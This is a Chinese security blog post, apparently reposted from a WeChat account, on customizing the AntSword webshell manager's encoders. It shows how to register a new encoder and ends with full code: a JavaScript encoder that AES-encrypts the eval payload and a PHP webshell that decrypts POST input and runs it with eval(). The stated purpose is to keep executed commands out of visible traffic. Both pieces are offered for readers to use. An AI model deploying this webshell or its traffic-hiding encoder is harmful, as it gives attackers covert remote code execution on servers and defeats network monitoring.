以下文章来源于Spade sec ,作者0xsdeo
前言
我大概已经写了两三个月关于JS逆向的文章,正好前两天抽空研究了一下关于蚁剑如何添加编码/解码器,所以年底这几天就分享一些关于安全的内容,应该也是我放假前的最后两篇文章。
注:本人目前没有看过任何关于蚁剑二开文章,以下内容纯是我自己摸索出来的,如有错误请各位指出。
正文
蚁剑一般会为每个支持的语言提供了几个编码/解码器,比如我这里就拿php来说:
我就拿base64编码器对比一下未编码和编码后的区别
未编码前:
编码后:
效果还是有的,但是流量中依然能看到执行的命令,按我的想法是如果能将执行的语句也加密一下,php再解密,这样效果就变得很好了。我们都知道蚁剑是通过加载器加载源码打开的,这种做法极其利于我们对蚁剑的二次开发:
所以这里我先感谢一下开发者这一做法,无疑是给我们提供了巨大帮助。
但是我们得自己定位一下是哪里加载的编码/解码器,在蚁剑中每个语言都有相对应存放编码/解码器的目录:
我们可以看到在蚁剑源码source/core
目录下有很多个编程语言,这些都是蚁剑支持的连接语言,这里我就拿php举例:
php目录下存在decoder
和encoder
两个目录,前者是存放解码器的,后者反之,另外根目录下还有一个index.js
,该js中就有关于加载编码/解码器的代码:
第53行和第57行是获取编码/解码器的,这两个数组里的编码/解码器默认是和encoder和decoder下的编码/解码器文件保持一致的,所以如果我们想要添加自己的编码/解码器就得添加相对应的文件,比如我这里添加一个test编码/解码器就直接写进这两个数组里就行:
但是从上文中我们可以获知我们还得向encoder
和decoder
两个目录添加相对应的编码/解码器文件,比如base64:
这里我直接复制base64编码/解码器文件,并重命名为test:
重启一下蚁剑看看效果:
可见重启后就已经加载了我们的test编码/解码器,先验证一下看看是不是base64编码的:
和上面经过base64编码器编码后的流量一致,现在我们就成功自定义了一个编码/解码器。
每个语言下都有一个index.js,我们也可以从上文中知道这个js的用处,现在我将蚁剑支持的所有语言的index.js路径都写在下面:
-
asp
:source/core/asp/index.js -
aspx
:source/core/aspx/index.js -
aspxcsharp
:source/core/aspxcsharp/index.js -
cmdlinux
:source/core/cmdlinux/index.js -
custom
:source/core/custom/index.js -
jsp
:source/core/jsp/index.js -
jspjs
:source/core/jspjs/index.js -
php
:source/core/php/index.js -
php4
:source/core/php4/index.js -
phpraw
:source/core/phpraw/index.js
Demo
这一节就是简单给大家看一下我自己修改的编码器,后期还会详细发一篇关于蚁剑如何魔改编码/解码器的文章,不选择今天这篇文章是因为我自己现在还没怎么研究过这些编码/解码器里面的一些参数都是干什么的。
我具体就是修改了一下base64编码器,将俗称的webshell连接密码的参数值在编码器里进行了aes加密,然后后端接收到后先进行aes解密再做它原本要做的。
因为我自己对这些加密解密不太了解,所以代码是由Copilot生成的,然后我自己进行了一些修改适配。
js:
php:
蚁剑看下效果:
现在请求的内容就没有那些比较敏感的参数了。
code
下面我把代码发出来供大家参考,编码器:
/*** php::base64编码器* ? 利用php的base64_decode进行编码处理*/'use strict';module.exports = (pwd, data, ext = null) => {// 生成一个随机变量名let randomID;if (ext.opts.otherConf['use-random-variable'] === 1) {randomID = antSword.utils.RandomChoice(antSword['RANDOMWORDS']);} else {randomID = `${antSword['utils'].RandomLowercase()}${Math.random().toString(16).substr(2)}`;}data[randomID] = Buffer.from(data['_']).toString('base64');const crypto = require('crypto');const key = Buffer.from('12345678901234567890123456789012'); // 32 bytes keyconst iv = Buffer.from('1234567890123456'); // 16 bytes IVfunction encrypt(text) {const cipher = crypto.createCipheriv('aes-256-cbc', key, iv);let encrypted = cipher.update(text, 'utf8', 'base64');encrypted += cipher.final('base64');return encrypted;}data[pwd] = encrypt(`@eval(@base64_decode($_POST['${randomID}']));`);delete data['_'];return data;
}
shell:
<?php
$key = '12345678901234567890123456789012'; // 32 bytes key
$iv = '1234567890123456'; // 16 bytes IVfunction decrypt($encryptedText) {global $key, $iv;$data = base64_decode($encryptedText);$decrypted = openssl_decrypt($data, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);return $decrypted;
}
$decryptedText = decrypt($_POST['encrypt']);eval($decryptedText);
注:解码器使用base64即可,另外使用前请自行向index.js添加编码器。
原文🔗
https://mp.weixin.qq.com/s?__biz=MzU0MTc2NTExNg==&mid=2247491289&idx=1&sn=458b4ba62019a7da6af2f1c01da15989&chksm=fb25a24acc522b5cfd544fea354860642e8fbf2b73127e388f181d6d6d9233ddb0d5314cad6d#rd